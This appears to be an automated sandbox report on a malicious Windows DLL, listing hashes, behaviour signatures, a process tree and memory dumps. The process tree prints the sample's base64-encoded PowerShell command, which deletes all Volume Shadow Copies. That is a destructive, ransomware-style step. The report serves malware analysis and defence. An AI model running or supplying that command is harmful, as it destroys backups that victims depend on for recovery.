Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    24-01-2022 00:41

General

  • Target

    f8956eb9906b51001159452d1b285f37ab5c48dcfbaa23dea5c09581b95af0a5.dll

  • Size

    166KB

  • MD5

    f9a65586093c1451a8b74097cd277979

  • SHA1

    b2e5ab63e2bb2a260e94ad6b0c16f184821f2059

  • SHA256

    f8956eb9906b51001159452d1b285f37ab5c48dcfbaa23dea5c09581b95af0a5

  • SHA512

    110a02ee5bbc09a953804c23415a6ba0a99bc06a4e437577c314460e93b3ccc491ef28ac9e7bafb5f2776a8836cc6bf08c11b78961ee828c419fbccb1426ce96

Score
6/10

Malware Config

Signatures

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\f8956eb9906b51001159452d1b285f37ab5c48dcfbaa23dea5c09581b95af0a5.dll,#1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Windows\SysWOW64\rundll32.exe
      rundll32.exe C:\Users\Admin\AppData\Local\Temp\f8956eb9906b51001159452d1b285f37ab5c48dcfbaa23dea5c09581b95af0a5.dll,#1
      2⤵
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1896
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:320
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:336
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1488

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/320-55-0x000007FEFC081000-0x000007FEFC083000-memory.dmp
      Filesize

      8KB

    • memory/320-57-0x0000000002410000-0x0000000002412000-memory.dmp
      Filesize

      8KB

    • memory/320-58-0x0000000002412000-0x0000000002414000-memory.dmp
      Filesize

      8KB

    • memory/320-59-0x0000000002414000-0x0000000002417000-memory.dmp
      Filesize

      12KB

    • memory/320-56-0x000007FEF33E0000-0x000007FEF3F3D000-memory.dmp
      Filesize

      11.4MB

    • memory/320-60-0x000000001B790000-0x000000001BA8F000-memory.dmp
      Filesize

      3.0MB

    • memory/320-61-0x000000000241B000-0x000000000243A000-memory.dmp
      Filesize

      124KB

    • memory/1896-54-0x0000000075D61000-0x0000000075D63000-memory.dmp
      Filesize

      8KB